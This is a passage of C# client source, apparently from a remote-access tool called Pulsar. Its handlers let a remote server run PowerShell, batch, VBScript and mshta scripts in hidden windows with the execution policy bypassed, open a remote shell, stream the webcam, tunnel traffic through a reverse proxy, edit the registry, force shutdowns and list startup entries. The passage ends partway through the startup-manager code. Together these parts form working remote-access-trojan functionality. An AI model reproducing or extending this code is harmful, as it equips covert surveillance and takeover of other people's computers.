responsePacket.ErrorMsg = e.Message;
}
responsePacket.RootKey = message.RootKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryKey message)
{
GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Match = new RegSeekerMatch
{
Key = newKeyName,
Data = RegistryKeyHelper.GetDefaultValues(),
HasSubKeys = false
};
responsePacket.ParentPath = message.ParentPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryKey message)
{
GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.KeyName = message.KeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryKey message)
{
GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.OldKeyName = message.OldKeyName;
responsePacket.NewKeyName = message.NewKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryValue message)
{
GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryValue message)
{
GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ValueName = message.ValueName;
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryValue message)
{
GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.OldValueName = message.OldValueName;
responsePacket.NewValueName = message.NewValueName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoChangeRegistryValue message)
{
GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.Value = message.Value;
client.Send(responsePacket);
}
}
}
+111
View File
@@ -0,0 +1,111 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class RemoteChatHandler : IMessageProcessor
{
private static Thread _chatThread;
public bool CanExecute(IMessage message) => message is DoChat || message is DoKillChatForm || message is DoStartChatForm || message is DoChatAction;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoChat Msg:
HandleDoChatMessage(sender, Msg);
break;
case DoStartChatForm Msg:
HandleDoChatStart(sender, Msg);
break;
case DoKillChatForm Msg:
HandleDoChatStop(sender, Msg);
break;
case DoChatAction Msg:
HandleChatAction(sender, Msg);
break;
}
}
public void HandleChatAction(ISender sender, DoChatAction msg)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.txtMessages.Clear();
});
}
}
public static void HandleDoChatStart(ISender client, DoStartChatForm getChat)
{
if (_chatThread != null && _chatThread.IsAlive)
return;
_chatThread = new Thread(() =>
{
var frmChat = new FrmRemoteChat(client);
frmChat.Text = getChat.Title;
frmChat.txtMessages.Text = getChat.WelcomeMessage;
if (getChat.DisableClose == true)
{
frmChat.ControlBox = false;
}
frmChat.txtMessage.Enabled = getChat.DisableType;
Application.Run(frmChat);
frmChat.TopMost = getChat.TopMost;
frmChat.BringToFront();
});
_chatThread.SetApartmentState(ApartmentState.STA);
_chatThread.Start();
}
public static void HandleDoChatMessage(ISender client, DoChat packet)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.AddMessage(packet.User, packet.PacketDms);
});
}
}
public static void HandleDoChatStop(ISender client, DoKillChatForm packet)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.Active = false;
frmChat.Close();
});
}
if (_chatThread != null && _chatThread.IsAlive)
{
_chatThread.Join(500);
_chatThread = null;
}
else
{
_chatThread = null;
}
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,123 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Pulsar.Client.IO;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.MessageBox;
using System.Threading;
using System.CodeDom.Compiler;
using System.Diagnostics;
namespace Pulsar.Client.Messages
{
public class RemoteScriptingHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoExecScript;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoExecScript msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoExecScript message)
{
new Thread(() =>
{
string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (message.Language == "Powershell")
{
tempFile += ".ps1";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "Batch")
{
tempFile += ".bat";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "VBScript")
{
tempFile += ".vbs";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "JavaScript")
{
if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject"))
{
tempFile += ".js";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else
{
tempFile += ".hta";
string scriptContent = "<html><head><hta:application windowstate='minimize'></hta:application></head><body><script>" + message.Script + "</script></body></html>";
File.WriteAllText(tempFile, scriptContent);
ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = true
};
Process process = Process.Start(psi);
if (!process.WaitForExit(5000))
{
process.Kill();
}
File.Delete(tempFile);
}
}
})
{ IsBackground = true }.Start();
}
}
}
@@ -0,0 +1,97 @@
using Pulsar.Client.IO;
using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RemoteShell;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote shell.
/// </summary>
public class RemoteShellHandler : IMessageProcessor, IDisposable
{
/// <summary>
/// The current remote shell instance.
/// </summary>
private Shell _shell;
/// <summary>
/// The client which is associated with this remote shell handler.
/// </summary>
private readonly PulsarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RemoteShellHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
}
/// <summary>
/// Handles changes of the client state.
/// </summary>
/// <param name="s">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientStateChange(Networking.Client s, bool connected)
{
// close shell on client disconnection
if (!connected)
{
_shell?.Dispose();
}
}
/// <inheritdoc />
public bool CanExecute(IMessage message) => message is DoShellExecute;
/// <inheritdoc />
public bool CanExecuteFrom(ISender sender) => true;
/// <inheritdoc />
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoShellExecute shellExec:
Execute(sender, shellExec);
break;
}
}
private void Execute(ISender client, DoShellExecute message)
{
string input = message.Command;
if (_shell == null && input == "exit") return;
if (_shell == null) _shell = new Shell(_client);
if (input == "exit")
_shell.Dispose();
else
_shell.ExecuteCommand(input);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_shell?.Dispose();
}
}
}
}
@@ -0,0 +1,435 @@
using Pulsar.Client.Helper;
using Pulsar.Common.Enums;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Diagnostics;
using Pulsar.Common.Messages.Webcam;
using Pulsar.Common.Messages.Other;
using System.Collections.Concurrent;
namespace Pulsar.Client.Messages
{
public class RemoteWebcamHandler : NotificationMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _webcamData = null;
private Bitmap _webcam = null;
private ISender _clientMain;
private Thread _captureThread;
private WebcamHelper _webcamHelper;
private WebcamHelper WebcamHelper
{
get
{
if (_webcamHelper == null)
{
_webcamHelper = new WebcamHelper();
}
return _webcamHelper;
}
}
private CancellationTokenSource _cancellationTokenSource;
// frame control variables
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
private int _pendingFrameRequests = 0;
// max buffer size to prevent memory issues
private const int MAX_BUFFER_SIZE = 10;
private readonly Stopwatch _stopwatch = new Stopwatch();
private int _frameCount = 0;
private float _lastFrameRate = 0f;
private bool _sendFrameRateNext = false;
private MemoryStream _reusableStream;
private MemoryStream ReusableStream
{
get
{
if (_reusableStream == null)
{
_reusableStream = new MemoryStream();
}
return _reusableStream;
}
}
public override bool CanExecute(IMessage message) => message is GetWebcam ||
message is GetAvailableWebcams;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetWebcam msg:
Execute(sender, msg);
break;
case GetAvailableWebcams msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetWebcam message)
{
if (message.Status == RemoteWebcamStatus.Stop)
{
StopWebcamStreaming();
}
else if (message.Status == RemoteWebcamStatus.Start)
{
StartWebcamStreaming(client, message);
}
else if (message.Status == RemoteWebcamStatus.Continue)
{
// server is requesting more frames
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
_frameRequestEvent.Set();
}
}
private void StartWebcamStreaming(ISender client, GetWebcam message)
{
try
{
try
{
WebcamHelper.StartWebcam(message.DisplayIndex);
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting webcam: {ex.Message}");
OnReport("Failed to start webcam: " + ex.Message);
return;
}
Debug.WriteLine("Starting remote webcam session");
var webcamBounds = WebcamHelper.GetBounds();
var resolution = new Resolution { Height = webcamBounds.Height, Width = webcamBounds.Width };
try
{
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (message.CreateNew)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
OnReport("Remote webcam session started");
}
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error initializing stream codec: {ex.Message}");
OnReport("Failed to initialize stream codec: " + ex.Message);
return;
}
_clientMain = client;
// clear any pending frame requests and existing frames
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
if (_captureThread == null || !_captureThread.IsAlive)
{
try
{
_cancellationTokenSource = new CancellationTokenSource();
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token));
_captureThread.Start();
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting capture thread: {ex.Message}");
OnReport("Failed to start capture thread: " + ex.Message);
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Unexpected error in StartWebcamStreaming: {ex.Message}");
OnReport("Unexpected error: " + ex.Message);
}
}
private void StopWebcamStreaming()
{
try
{
try
{
WebcamHelper.StopWebcam();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping webcam: {ex.Message}");
}
Debug.WriteLine("Stopping remote webcam session");
_cancellationTokenSource?.Cancel();
if (_captureThread != null && _captureThread.IsAlive)
{
try
{
_frameRequestEvent.Set(); // wake up thread
_captureThread.Join();
}
catch (Exception ex)
{
Debug.WriteLine($"Error joining capture thread: {ex.Message}");
}
_captureThread = null;
}
if (_webcam != null)
{
if (_webcamData != null)
{
try
{
_webcam.UnlockBits(_webcamData);
}
catch (Exception ex)
{
Debug.WriteLine($"Error unlocking bits: {ex.Message}");
}
_webcamData = null;
}
try
{
_webcam.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing webcam: {ex.Message}");
}
_webcam = null;
}
if (_streamCodec != null)
{
try
{
_streamCodec.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing stream codec: {ex.Message}");
}
_streamCodec = null;
}
// clear the buffer
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, 0);
}
catch (Exception ex)
{
Debug.WriteLine($"Unexpected error in StopWebcamStreaming: {ex.Message}");
}
}
private void BufferedCaptureLoop(CancellationToken cancellationToken)
{
Debug.WriteLine("Starting buffered capture loop");
_stopwatch.Start();
while (!cancellationToken.IsCancellationRequested)
{
try
{
// wait for frame requests if the buffer is full or no frames are requested
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
{
Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
_frameRequestEvent.WaitOne(500);
// if cancellation was requested during the wait
if (cancellationToken.IsCancellationRequested)
break;
continue;
}
// capture frame and add to buffer
byte[] frameData = CaptureFrame();
if (frameData != null)
{
_frameBuffer.Enqueue(frameData);
// increment frame counter for statistics
_frameCount++;
if (_stopwatch.ElapsedMilliseconds >= 1000)
{
Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
_lastFrameRate = _frameCount;
_frameCount = 0;
_stopwatch.Restart();
_sendFrameRateNext = true;
}
}
// send frames if we have pending requests
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
{
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in buffered capture loop: {ex.Message}");
Thread.Sleep(100); // Avoid tight loop in case of repeated errors
}
}
Debug.WriteLine("Buffered capture loop ended");
}
private byte[] CaptureFrame()
{
try
{
_webcam = WebcamHelper.GetLatestFrame();
if (_webcam == null)
{
return null;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _webcam;
if (_webcam.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_webcam.Width, _webcam.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_webcam, 0, 0, _webcam.Width, _webcam.Height);
}
_webcam.Dispose();
_webcam = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
processedBitmap = _webcam;
}
}
_webcamData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
ReusableStream.Position = 0;
ReusableStream.SetLength(0);
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_webcamData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, ReusableStream);
return ReusableStream.ToArray();
}
catch (Exception ex)
{
Debug.WriteLine($"Error capturing frame: {ex.Message}");
return null;
}
finally
{
if (_webcamData != null)
{
_webcam.UnlockBits(_webcamData);
_webcamData = null;
}
_webcam?.Dispose();
_webcam = null;
}
}
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
{
if (frameData == null || _clientMain == null) return;
try
{
var response = new GetWebcamResponse
{
Image = frameData,
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
IsLastRequestedFrame = isLastRequestedFrame,
FrameRate = 0f
};
if (_sendFrameRateNext)
{
response.FrameRate = _lastFrameRate;
_sendFrameRateNext = false;
}
_clientMain.Send(response);
}
catch (Exception ex)
{
Debug.WriteLine($"Error sending frame to server: {ex.Message}");
}
}
private void ClearFrameBuffer()
{
while (_frameBuffer.TryDequeue(out _)) { }
}
private void Execute(ISender client, GetAvailableWebcams message)
{
client.Send(new GetAvailableWebcamsResponse { Webcams = WebcamHelper.GetWebcams() });
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
StopWebcamStreaming();
_streamCodec?.Dispose();
_cancellationTokenSource?.Dispose();
_frameRequestEvent?.Dispose();
_reusableStream?.Dispose();
}
}
}
}
@@ -0,0 +1,59 @@
using Pulsar.Client.Networking;
using Pulsar.Client.ReverseProxy;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.ReverseProxy;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
namespace Pulsar.Client.Messages
{
public class ReverseProxyHandler : IMessageProcessor
{
private readonly PulsarClient _client;
public ReverseProxyHandler(PulsarClient client)
{
_client = client;
}
public bool CanExecute(IMessage message) => message is ReverseProxyConnect ||
message is ReverseProxyData ||
message is ReverseProxyDisconnect;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case ReverseProxyConnect msg:
Execute(sender, msg);
break;
case ReverseProxyData msg:
Execute(sender, msg);
break;
case ReverseProxyDisconnect msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, ReverseProxyConnect message)
{
_client.ConnectReverseProxy(message);
}
private void Execute(ISender client, ReverseProxyData message)
{
ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
proxyClient?.SendToTargetServer(message.Data);
}
private void Execute(ISender client, ReverseProxyDisconnect message)
{
ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
socksClient?.Disconnect();
}
}
}
+209
View File
@@ -0,0 +1,209 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.Actions;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class ShutdownHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoShutdownAction;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoShutdownAction msg)
Execute(sender, msg);
}
private void Execute(ISender client, DoShutdownAction message)
{
try
{
switch (message.Action)
{
case ShutdownAction.Shutdown:
client.Send(new SetStatus { Message = "Client is shutting down..." });
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.ShutDown | ExitWindows.ForceIfHung, 0))
{
// Fallback to shutdown.exe if native API fails
Process.Start(new ProcessStartInfo
{
FileName = "shutdown",
Arguments = "/s /t 0",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true
});
}
break;
case ShutdownAction.Restart:
client.Send(new SetStatus { Message = "Client is restarting..." });
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.Reboot | ExitWindows.ForceIfHung, 0))
{
// Fallback to shutdown.exe if native API fails
Process.Start(new ProcessStartInfo
{
FileName = "shutdown",
Arguments = "/r /t 0",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true
});
}
break;
case ShutdownAction.Standby:
client.Send(new SetStatus { Message = "Client entering standby mode..." });
if (!SetSuspendState(false, true, true))
client.Send(new SetStatus { Message = "Standby request failed." });
break;
case ShutdownAction.Lockscreen:
client.Send(new SetStatus { Message = "Client screen is being locked..." });
if (!LockWorkStation())
client.Send(new SetStatus { Message = "LockWorkStation failed, fallback unavailable." });
break;
default:
client.Send(new SetStatus { Message = "Unknown shutdown action requested." });
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Shutdown action failed: {ex.Message}" });
}
}
#region Native interop
[Flags]
private enum ExitWindows : uint
{
LogOff = 0x00000000,
ShutDown = 0x00000001,
Reboot = 0x00000002,
PowerOff = 0x00000008,
ForceIfHung = 0x00000010,
Force = 0x00000004
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool ExitWindowsEx(ExitWindows uFlags, uint dwReason);
[DllImport("powrprof.dll", SetLastError = true)]
private static extern bool SetSuspendState(bool hibernate, bool forceCritical, bool disableWakeEvent);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool LockWorkStation();
// Token / privilege APIs
private const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const int TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const int TOKEN_QUERY = 0x0008;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
private static bool EnableShutdownPrivilege()
{
if (!IsAdministrator())
return false;
if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out var tokenHandle))
return false;
try
{
if (!LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, out var luid))
return false;
var tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero))
return false;
// AdjustTokenPrivileges returns true even when it fails to enable; check last error
return Marshal.GetLastWin32Error() == 0;
}
finally
{
CloseHandle(tokenHandle);
}
}
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr hObject);
private static bool IsAdministrator()
{
try
{
using (var id = WindowsIdentity.GetCurrent())
{
var wp = new WindowsPrincipal(id);
return wp.IsInRole(WindowsBuiltInRole.Administrator);
}
}
catch
{
return false;
}
}
private static void ThrowLastWin32Error(string message)
{
var err = new Win32Exception(Marshal.GetLastWin32Error());
throw new InvalidOperationException($"{message}: {err.Message}");
}
#endregion
}
}
@@ -0,0 +1,267 @@
using Microsoft.Win32;
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Common.Enums;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.StartupManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace Pulsar.Client.Messages
{
public class StartupManagerHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetStartupItems ||
message is DoStartupItemAdd ||
message is DoStartupItemRemove;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetStartupItems msg:
Execute(sender, msg);
break;
case DoStartupItemAdd msg:
Execute(sender, msg);
break;
case DoStartupItemRemove msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetStartupItems message)
{
try
{
List<Common.Models.StartupItem> startupItems = new List<Common.Models.StartupItem>();
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
}
}
}
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
